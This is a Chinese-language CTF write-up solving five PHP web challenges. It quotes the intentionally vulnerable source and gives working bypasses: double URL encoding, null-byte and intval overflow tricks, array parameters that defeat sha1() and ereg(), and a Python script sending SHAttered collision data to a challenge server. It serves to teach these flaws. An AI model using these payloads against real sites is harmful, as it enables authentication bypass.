0x01 PHP大法
打开后提示:
Can you authenticate to this website? index.php.txt
访问 index.php.txt :
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?
这里对id参数两次url编码即可:
/index.php?id=%2568ackerDJ
0x02 你真的会PHP吗?
抓包发现hint:
hint 6c525af4059b4fe7d8c33a.txt
访问文件得到源码:
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
很显然我们需要
- is_numeric($_REQUEST['number']返回false,即:不能传入数字或数字字符串
- req['number']返回false,即:需要我们进行弱类型比较时两者相等
- value2返回false,即:传入的参数正逆intval转换后相等
- is_palindrome_number($req["number"]返回false,即:str形式下的number参数正逆不同
注意:
- ini_set("display_error", false)设置没有报错回显
- intval()返回的值范围为4字节,对于超过这个范围的值将用边界值代替。( intval的取值范围:与操作系统相关:
32位系统上为-2147483648到2147483647,
64位系统上为-9223372036854775808到9223372036854775807) - is_numeric中支持多种进制以及科学计数法“e”
- intval() 不能用于 array 或 object
- trim() 函数移除字符串两侧的空白字符或其他预定义字符
- is_numeric和intval函数在开始判断和转换前,会先跳过所有空白字符,而trim过滤的字符中没有 "\f" 可以以此用%0c(\f)过滤,本题不用
-
由于php存储浮点数的特殊性,也可用于绕过(0.00000000000000000001=0//true)
最后BP发包
number:
0x00%00 //说实话,我不太明白这个为什么可以,它好像不能绕过$req['number']!=strval(intval($req['number'],而且0x00在is_numeric可以直接返回false,但直接传入不能绕过第一个条件,估计真实后台和这里有点区别
或者
2147483647%00
补充:
关于 intval:
intval (var, base)
参数列表:
参数 描述
var 必须。可以是任何标量类型。 intval() 不能用于数组 或 对象(类)。在此我得提一下标量类型包含四种:boolean(布尔型)integer(整型) float(浮点型, 也称作 double) string (字符串)
base 可选。转化所使用的进制,默认10进制如果 base 是 0,通过检测 var 参数的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制如果字符串以 “0” 开始,使用 8 进制其他使用 10 进制
for example:
echo intval("0x1a", 0), "\n"; // 使用16进制。 结果 "26"
echo intval("057", 0), "\n"; // 使用8进制。 结果 "47"
echo intval("57"),"\n"; // 使用10进制。结果57
echo intval("42", 0), "\n"; // 结果 "42"
其他相关姿势:
http://www.chnpanda.com/961.html
0x03 FALSE
打开之后View the source code:
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
两个思路:
sha1碰撞或者利用sha1()的漏洞
法一:sha1碰撞:
参考文档:https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
引申md5碰撞:
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
以下两文件sha1相同:
https://shattered.io/static/shattered-1.pdf
https://shattered.io/static/shattered-2.pdf
直接脚本得flag:
import urllib
import requests
str1=urllib.quote(open("shattered-1.pdf", "rb").read()[:320])
str2=urllib.quote(open("shattered-2.pdf", "rb").read()[:320])
url="http://ctf5.shiyanbar.com/web/false.php?name=%s&password=%s" %(str1,str2)
r=requests.get(url)
print r.content
(不截取[:320]的话发现url过长(get下的url长度上限与服务器和浏览器有关),winhex下查看,其实两文件改变的是前320位,我们只取前320位,发现可以成功)
法二:利用sha1()函数漏洞
当我们向sha1()传入的参数是数组时,会由于无法处理数组类型,将报错并返回false,而利用"flase===flase",即可实现绕过
这里我们传入:
false.php?name[]=123&password[]=abc
即得flag
0x04 NSCTF web200
打开发现源码:
code
脚本解决:
str1="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"
str2=str1.decode('rot13')[::-1].decode('base64')
ans=""
for i in str2:
ans+=chr(ord(i)-1)
print ans[::-1]
其实也可以直接简化为:
str1="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws".decode('rot13')[::-1].decode('base64')
print "".join([chr(ord(i)-1) for i in str1])[::-1]
0x05 Once More
打开之后View the source code:
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
利用ereg函数漏洞
当我们传入数组,返回NULL
当我们利用截断传入%00,返回true
关于比较还有以下几点:
数组具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较
array与object和其他类型比较都会大一些
这里构造:
?password[]=1
或者
?password=1e9%00*-*
传入即得flag
END
网友评论